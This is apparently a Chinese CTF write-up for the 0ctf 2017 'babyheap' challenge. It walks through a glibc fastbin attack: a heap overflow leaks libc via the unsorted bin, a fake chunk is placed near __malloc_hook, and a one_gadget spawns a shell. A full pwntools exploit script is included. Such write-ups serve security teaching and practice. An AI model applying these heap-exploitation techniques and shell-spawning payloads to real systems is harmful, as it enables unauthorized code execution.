https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2017_0ctf_babyheap
grxer@Ubuntu16:~/Desktop/pwn/heap$ checksec babyheap [*] '/home/grxer/Desktop/pwn/heap/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
刚开始的init_my会利用/dev/urandom随机函数用mmap随机映射一块内存给我们存放指针,没有了确定地址,我们就不好去构成unlink攻击
allocate()根据我们输入的size构成如下一个结构体,把指针放在mmap的堆上
00000000 chunk struc ; (sizeof=0x18, mappedto_6) 00000000 inuse dq ? 00000008 size dq ? 00000010 ptr dq ? ; offset 00000018 chunk ends
|
fill()也会根据我们的size进行读写,任意堆溢出,这就好办了
freechunk()挺好的,该置零的都置零
LODWORD(a1[v2].inuse) = 0; a1[v2].size = 0LL; free(a1[v2].ptr); result = (__int64)&a1[v2]; *(_QWORD *)(result + 16) = 0LL;
|
unsort bin泄露libc
allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x80) free(2) free(1) payload = 0x10 * b'a' + p64(0) + p64(0x21) + p8(0x80) fill(0, len(payload), payload) payload = 0x10 * b'b' + p64(0) + p64(0x21) fill(3, len(payload), payload) allocate(0x10) allocate(0x10) payload = 0x10 * b'c' + p64(0) + p64(0x91) fill(3, len(payload), payload) allocate(0x80) free(4)
dump(2)
|
这里我们申请五个堆
我们free(2)free(1)后形成单链表
由于我们可以利用堆溢出chunk0去一改写chunk1,改写1的fd为,由于堆一般都是以4k对齐的,我们可以根据申请堆的大小猜测处chunk2和chunk4只有最后一个字节0x80的差距
payload = 0x10 * b'a' + p64(0) + p64(0x21) + p8(0x80)
即可
这样我们申请两次就可以拿到chunk4,我们需要改写大小绕过fastbin0x20的检测
堆溢出chunk3即可payload = 0x10 * b'b' + p64(0) + p64(0x21)
allocate(0x10)
allocate(0x10)
把chunk2分配到chunk4数据区
这时候释放chunk4之前,要再申请一个堆防止unsorted bin的chunk4与topchunk合并,并把chunk4的大小溢出为0x91进入unsortedbin,输出chunk2就能拿到unsortbin地址
通过固定偏移找到libc基址
切割chunk malloc_hook
这个时候我们的chunk2是可以控制chunk4的data区,这就需要我们把chunk4丢到fastbin的链表中,实现任意地址malloc,但是chunk4现在再unsortbin的循环链表里
我们可以利用ptmalloc2特性当fastbin大小里没有合适大小的chunk,会去unsorted bin找合适大小的块或者切割合适大小的块
#include <stdio.h> #include <stdlib.h> int main(void) { void* x = malloc(0x80); malloc(0x10); free(x); void* y = malloc(0x60);
}
|
malloc(0x10)
free(x)
void* y = malloc(0x60);
可以看到直接分割
0x7f我们需要伪造0x60大小chunk,直接一步达到要求
allocate(0x60) #idx4
free(4)
再把fakechunk写入
ake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)
allocate(0x60) # idx 4
allocate(0x60) # idx 6
得到chunk
0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
|
写入onegadget
one_gadget_addr = libc + 0x4526a
payload = 0x13 * b’a’ + p64(one_gadget_addr)
fill(6, len(payload), payload)
继续跑路
EXP
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./babyheap' elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE']: io = remote('node4.buuoj.cn','28529') else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->'+hex(y))
def allocate(size): io.recvuntil(b'Command: ') io.sendline(b'1') io.recvuntil(b'Size: ') io.sendline(str(size).encode())
def fill(idx, size, content): io.recvuntil(b'Command: ') io.sendline(b'2') io.recvuntil(b'Index: ') io.sendline(str(idx).encode()) io.recvuntil(b'Size: ') io.sendline(str(size).encode()) io.recvuntil(b'Content: ') io.send(content)
def free(idx): io.recvuntil(b'Command: ') io.sendline(b'3') io.recvuntil(b'Index: ') io.sendline(str(idx).encode())
def dump(idx): io.recvuntil(b'Command: ') io.sendline(b'4') io.recvuntil(b'Index: ') io.sendline(str(idx).encode()) allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x80)
free(2) free(1)
payload = 0x10 * b'a' + p64(0) + p64(0x21) + p8(0x80) fill(0, len(payload), payload)
payload = 0x10 * b'b' + p64(0) + p64(0x21) fill(3, len(payload), payload) allocate(0x10) allocate(0x10) payload = 0x10 * b'c' + p64(0) + p64(0x91) fill(3, len(payload), payload) allocate(0x80) free(4)
dump(2) ru(b'Content: \n') unsortbin_addr = u64(io.recv(8)) main_arena=unsortbin_addr-88 libc=main_arena-0x3C4B20 p('libc',libc) allocate(0x60) free(4)
fake_chunk_addr = main_arena - 0x33 fake_chunk = p64(fake_chunk_addr) fill(2, len(fake_chunk), fake_chunk) allocate(0x60) allocate(0x60) one_gadget_addr = libc + 0x4526a payload = 0x13 * b'a' + p64(one_gadget_addr) fill(6, len(payload), payload) gdb.attach(io)
allocate(0x100) io.interactive()
|